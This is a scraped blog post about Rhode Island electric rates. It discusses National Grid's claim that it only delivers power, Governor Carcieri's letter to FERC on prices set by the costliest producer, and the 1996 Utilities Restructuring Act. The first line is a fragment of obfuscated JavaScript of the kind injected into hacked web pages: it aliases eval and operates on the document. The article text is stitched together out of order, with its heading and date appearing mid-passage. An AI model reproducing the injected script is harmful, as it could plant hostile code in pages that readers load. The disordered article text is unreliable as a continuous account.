.split(","));aqwpug=eval;function dabdds(){cfgs=function(){--(bvsauh.body)}()}bvsauh=document;for(khs=0;khs National Grid, the company that most Rhode Islanders send their electric bills to, say they are not responsible for rising electric rates. Here’s a spokesman from National Grid quoted by Jim Baron in the Pawtucket Times… National Grid spokesman Michael Ryan likens the company to services like UPS and Fed Ex - it can’t be blamed for the price of the goods it delivers, he says. Rhode Island residents do, in theory, have a choice of flavors of electricity. According to a letter sent by Governor Don Carcieri to the Federal Energy Regulatory Commission, “roughly half of Rhode Island’s energy comes from sources other than oil or natural gas”. Here’s where things start to get weird. The cost of electicity is not tied directly to its cost of generation. Here’s further information from the Governor’s press release on his letter to the FERC… Specifically, the Governor noted that two mechanisms for determining the price of energy are primarily responsible for this phenomenon. First, the market price for energy is determined by the highest cost charged by any single producer, forcing local energy distributors, and thus consumers, to pay inflated energy prices. For instance, if the cost of producing energy from oil and natural gas goes up, but the cost of producing energy at a nuclear plant remains static, the nuclear producer increases its rates to match the price being charged by the oil and natural gas producers. In this scenario, the nuclear producers are enabled to charge higher rates even though their actual production costs have not increased. That decision was made when the URA was written, said Ryan and Robert H. McLaren, senior vice president of New England Regulatory Affairs and Energy Supply for National Grid. This is the beginning of understanding the relation between regulation, markets, energy policy and electric rates. There’s a whole other level of considerations centered on regulations disallowing companies from owning both electricity generation and electicity transmission facilities. However, from Baron’s articles and Governor Carcieri’s letter, two points emerge right away, one substantive, one seemingly semantic, but not… November 30, 2005
Energy Stuff, Part 1
National Grid says the climbing cost it isn’t their fault, they take care of the wires and the poles and the switching stations. The law forbids them from owning electric generating capacity. They deal strictly with transmission and distribution.
The analogy doesn’t work. When I use UPS, I pick the sender on the other end and I decide if I want to pay the cost of item being delivered. When I buy my electricity from National Grid, I don’t get to choose whether I want oil-generated, nuclear-generated, or otherwise-generated electricity. National Grid picks the flavor of electricity that I receive. Mr. Ryan’s analogy would only work if I told UPS “send me a book” and UPS picked the bookseller and price without consulting me.
In his November 18th letter to the FERC Secretary Magalie Roman Salas, Governor Carcieri cited his concerns regarding “serious problems in the electric energy markets in New England that unnecessarily increase the price of electric energy to consumers, particularly in the event of dislocations in the market prices of natural gas and oil (such as those caused by the recent storm season) regardless of whether such electric energy is actually produced by natural gas or oil.”
The Governor’s press release leaves it a bit ambiguous about whether suppliers of non-oil, non-gas electricity raise prices because of market forces or because of government mandates. Baron’s article explains that uniform pricing is the result of government mandates …In testimony earlier this year before the [Public Utilities Commission], Gov. Donald L. Carcieri pointed out a quirk in the law that ties the price of electricity to the price of oil and natural gas, even though that power may have been produced at a nuclear plant, or a coal-fired generator or at a hydroelectric facility.
The URA is the “Utilities Restructuring Act of 1996”. Baron’s basic explanation of how we got here from 1996 is that the URA was intended to increase competition, but Narragansett Electric took advantage of the law after it was passed to undercut competition, drive out competitors, leaving no competition at the present time.